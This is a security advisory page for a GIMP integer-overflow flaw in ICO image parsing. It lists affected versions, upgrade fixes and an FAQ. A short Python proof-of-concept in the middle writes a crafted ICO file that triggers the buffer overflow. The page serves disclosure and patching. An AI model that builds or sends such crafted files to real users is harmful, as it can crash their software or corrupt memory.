CVE-2026-2272: Gimp: gimp: memory corruption due to integer overflow in ico file handling

Published Feb 10, 2026
·
Updated

A flaw was found in GIMP. An integer overflow vulnerability exists when processing ICO image files, specifically in the icoreadinfo and icoreadicon functions. This issue arises because a size calculation for image buffers can wrap around due to a 32-bit integer evaluation, allowing oversized image headers to bypass security checks. A remote attacker could exploit this by providing a specially crafted ICO file, leading to a buffer overflow and memory corruption, which may result in an application level denial of service.

Other sources

Summary icoreadinfo sizes the image and buf from ICO directory entry dimensions, but icoreadicon trusts BITMAPINFOHEADER width/height for decoding, creating a mismatch when header dimensions are larger. The size guard data.width data.height 2 > maxsize is evaluated in 32‑bit guint32 and can wrap, letting oversized headers pass like this:

if (data.width data.height 2 > maxsize) { / ... / }

Decode loops then use large w/h and write past the buffer sized from the entry, and icoallocmap uses gint length math that can overflow for xormap/andmap when dimensions are huge.

Proof-of-concept

import struct

hdr = struct.pack("<HHH", 0, 1, 1)

IcoFileEntry: width=1, height=1, colors=0, reserved=0, planes=1, bpp=32, size=40, offset=22 entry = struct.pack("<BBBBHHII", 1, 1, 0, 0, 1, 32, 40, 22)

BITMAPINFOHEADER: headersize=40, width=0x00100000, height=0x00200000 (ICO height is doubled) width = 0x00100000 height = 0x00200000 bmp = struct.pack("<IIIHHIIIIII", 40, width, height, 1, 32, 0, 0, 0, 0, 0, 0)

open("poc1.ico", "wb").write(hdr + entry + bmp)

— Red Hat

Affected Software

10 affected componentsFixes available
GIMP GIMP
GIMP GIMP=3.0.6
redhat Enterprise Linux=6.0
redhat Enterprise Linux=7.0
redhat Enterprise Linux=8.0
redhat Enterprise Linux=9.0
debian/gimp<2.10.34-1+deb12u8
2.10.34-1+deb12u8
debian/gimp<3.0.4-3+deb13u6
3.0.4-3+deb13u6
debian/gimp<3.2.0~RC2-3.2
3.2.0~RC2-3.2
debian/gimp
2.10.34-1+deb12u103.0.4-3+deb13u103.0.4-3+deb13u113.2.8-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade debian/gimp to a version that resolves this vulnerability.

    Fixed in 2.10.34-1+deb12u8
  2. Upgrade

    Upgrade debian/gimp to a version that resolves this vulnerability.

    Fixed in 3.0.4-3+deb13u6
  3. Upgrade

    Upgrade debian/gimp to a version that resolves this vulnerability.

    Fixed in 3.2.0~RC2-3.2
  4. Upgrade

    Upgrade debian/gimp to a version that resolves this vulnerability.

    Fixed in 2.10.34-1+deb12u10Fixed in 3.0.4-3+deb13u10Fixed in 3.0.4-3+deb13u11Fixed in 3.2.8-1

Event History

Feb 10, 2026
Data Sourced
via Red Hat·09:28 AM
DescriptionSeverityAffected Software
Mar 26, 2026
CVE Published
via MITRE·08:00 PM
Data Sourced
via MITRE·08:00 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:17 PM
DescriptionSeverityWeaknessAffected Software
Mar 27, 2026
Exploit Published
via CISA·01:43 PM
Nov 6, 2026
Data Sourced
via OSV·09:47 AM
Affected Software

Parent advisories

This vulnerability appears in the following advisories.

Peer vulnerabilities

Found alongside the following vulnerabilities.

Frequently Asked Questions

1

What is the severity of CVE-2026-2272?

CVE-2026-2272 is considered a high-severity vulnerability due to its potential for exploitation leading to memory corruption.

2

How do I fix CVE-2026-2272?

To fix CVE-2026-2272, update to the latest version of GIMP that addresses the integer overflow vulnerability.

3

What software is affected by CVE-2026-2272?

CVE-2026-2272 specifically affects GIMP software when handling ICO image files.

4

What are the risks associated with CVE-2026-2272?

The risks of CVE-2026-2272 include potential crashes and exploitation of the application which may lead to arbitrary code execution.

5

Is there a workaround for CVE-2026-2272?

As a workaround for CVE-2026-2272, users should avoid opening untrusted ICO files until a patch is applied.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203